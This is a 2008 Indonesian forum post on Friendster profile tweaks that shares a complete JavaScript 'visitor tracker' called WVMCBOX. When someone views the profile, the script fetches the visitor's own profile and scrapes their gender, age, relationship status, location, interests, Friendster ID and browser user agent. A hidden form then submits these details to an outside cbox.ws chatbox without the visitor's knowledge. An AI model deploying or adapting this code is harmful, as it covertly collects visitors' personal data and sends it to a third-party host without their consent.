2008-04-22 05:32:40

dekha_21
» FTalkManiac
FTalk Level: zero
793
0
1969-12-31

Re: [align=justify][b]bagi member yang ingin bertanya seputar tweaking FS, silahkan bertanya dan posting disini, tapi jangan lupa,,sebelum itu tolong [url=http://theftalk.com/t2744-%5BImportant%5D-

[quote=yondaime4th]:arrow: [b]untuk semua[/b] ada yang tw ga kode wvmcbox yang keren :question: lagi pengen make nich =)[/quote] Pake yg Punya Feruzz nih [spoiler] /** * WVMCBOX version 2.3 * Author: FeRuZZ © http://profiles.friendster.com/feruzz * Timestamp: GMT+8 10.15PM April 16, 2008 * free to use but not free to resell **/ // Global var WVMCBOX; if (!attachOnLoadHandler(function() { WVMCBOX.init();})) window.onload = function() { WVMCBOX.init();}; if((pageViewerLangPref !== "en-US") || (window.location.href.indexOf("en-US") === -1)) { window.location.href = "http://profiles.friendster.com/"+pageOwnerID+"?lang=en-US&updatelang=1"; } if (typeof WVMCBOX == "undefined" || !WVMCBOX) { WVMCBOX = window.WVMCBOX || {}; } (function() { WVMCBOX = { //private property div: null, date: Date().replace(/\(.+\)/, ""), ifstyle: [ [b] "100%", //width "300", //height[/b] "auto", //scrolling "yes" //allowtransparency ], base: { "cboxdiv": [b]["www","XXXXXX","XXXX"][/b] }, //null if not exist details: { gender: null, age: null, status: null, location: null, seek: null, since: null }, //get viewer details regexp: { gender: /q">([\S]*male)/i, age: /male,\s*([\d]*),/i, status: /male,\s*[\d]*,\s*([\S\s]*?)<\/span>/i, location: /Location\:\s*<\/span><a[\S\s]*?>([\S\s]*?)<\/a><\/li>/i, seek: /Interested\s*In\:\s*<\/span>([\S\s]*?)<\/li>/i, since: /Member\s*Since\:\s*<\/span>([\S\s]*?)<\/li>/i }, init: function() { WVMCBOX.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, WVMCBOX.viewer, null); setInterval("window.wvm_submit.location.href=document.getElementById('wvm_submit').src", 30000); }, viewer: function(htm) { if (htm.replace(/^\s*|\s*$/g,"") === "") { alert("ERROR: Empty xmlresponse! \n Unable to parse your details!"); return; }else if (htm) { for (var val in WVMCBOX.details) { try { WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1]; }catch(e) { WVMCBOX.details[val] = ""; } } var status = WVMCBOX.details.status; switch (status) { case "": status = "It's complicated"; break; } var seek = WVMCBOX.details.seek; switch (seek) { case "": seek = "Just looking around"; break; } for (var seeboks in WVMCBOX.base) { var htmlspaces = "&nb"+"sp;"; var htmlbulls = "&bu"+"ll;"; WVMCBOX.div = "<iframe frameborder=\"0\" width=\"" + WVMCBOX.ifstyle[0] + "\" height=\"" + WVMCBOX.ifstyle[1] + "\" scrolling=\"" + WVMCBOX.ifstyle[2] + "\" allowtransparency=\"" + WVMCBOX.ifstyle[3] + "\" marginheight=\"2\" marginwidth=\"2\" src=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=main\" name=\"wvm_submit\" id=\"wvm_submit\"></iframe>"+ "<div style=\"display:none\">" + "<form name=\"wvmcboxform\" id=\"wvmcboxform\" target=\"wvm_submit\" action=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=submit\" method=\"POST\">" + "<input type=\"text\" name=\"nme\" value=\"" + pageViewerFName + "\">" + "<input type=\"text\" name=\"eml\" value=\"http://profiles.friendster.com/" + pageViewerID + "\">"+ "<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"200\" cols=\"22\" rows=\"3\" name=\"pst\">" + WVMCBOX.date + "[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.gender + "," + htmlspaces + "" + WVMCBOX.details.age + "," + htmlspaces + "" + status + "[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.since.replace(/^\s*[\w]*?/gi,"Member Since: ") + "[br]" + htmlbulls + "" + htmlspaces + "Interested" + htmlspaces + "In:" + htmlspaces + "" + seek + "[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.location.replace(/^\s*[\S\s]*?/gi,"Location: ") + "[br]" + htmlbulls + "" + htmlspaces + "" + pageViewerID.replace(/^\s*[\d]*?/gi, "Friendster ID: ") + "[br]" + htmlbulls + "" + htmlspaces + "Browser:" + htmlspaces + "" + navigator.appName + "[br]" + htmlbulls + "" + htmlspaces + "" + navigator.userAgent + "</textarea>" + "</form>"+ "</div>"; addNewBox.init("Visitors Info", "<div id=\""+seeboks+"\" align=\"center\">"+WVMCBOX.div+"</div>", "wvmcbox", /friends/i, null); } if((pageViewerID != pageOwnerID) && (pageViewerID !== "")) { try { document.wvmcboxform.submit(); }catch(e) { document.getElementById("wvmcboxform").submit(); } } } }, ajaxRequest: function(type, url, cont, param, func, handlerparam) { /* * ajaxRequest function * version: 2.1 * Copyright: FeRuZZ © http://profiles.friendster.com/feruzz * * @type: "GET" | "POST" * @cont: true | false * @param: param | null */ var httprequest = null; var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"]; for (var x = 0, len = msxml.length; x < len; x++) { try { httprequest = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject(msxml[x]); break; } catch(e) { httprequest = null; } } if (typeof func === "function") { httprequest.onreadystatechange = function() { if (httprequest.readyState === 4) { if (httprequest.status === 200) { func(httprequest.responseText, handlerparam); } } }; } httprequest.open(type, url, cont); httprequest.setRequestHeader("ajaxRequest", "true"); httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest"); if (type === "POST") { var contentLength = param ? param.length: 0; httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httprequest.setRequestHeader("Content-length", contentLength); if (httprequest.overrideMimeType) { httprequest.setRequestHeader("Connection", "close"); } } httprequest.send(param); } }; })(); if (typeof addNewBox == "undefined" || !addNewBox) { addNewBox = window.addNewBox || {}; } (function() { addNewBox = { init: function(head,code,id,sibling,x) { var sbdiv = document.createElement("div"); sbdiv.className = "commonbox "+id; sbdiv.id = id; if (!head) head = ""; else head = "<h2>"+head+"</h2>"; sbdiv.innerHTML = head; sbdiv.appendChild(document.createElement("div")); sbdiv.getElementsByTagName("div")[0].id = "content_"+id; sbdiv.getElementsByTagName("div")[0].innerHTML = code; var sbli = document.createElement("li"); sbli.appendChild(sbdiv); if (!x) addNewBox.getModuleByClassName(sibling)[0].parentNode.parentNode.appendChild(sbli); else if (x == "below") addNewBox.getModuleByClassName(sibling)[0].parentNode.appendChild(sbli); else if (x == "above") { var ul = addNewBox.getModuleByClassName(sibling)[0]; ul.parentNode.parentNode.insertBefore(sbli,ul.parentNode); } }, getModuleByClassName: function(sClass) { var elm = []; var els = document.getElementsByTagName("*") || document.all; for (var j=0,k=els.length;j<k;j++) { if (new RegExp(sClass).test(els[j].className))elm.push(els[j]); } return elm; } }; })(); [/spoiler] edid yg ditebelindh...

Board footer

© 2024 F Talk

Current time is 07:44

[ 13 queries - 0.390 second ]
Privacy Policy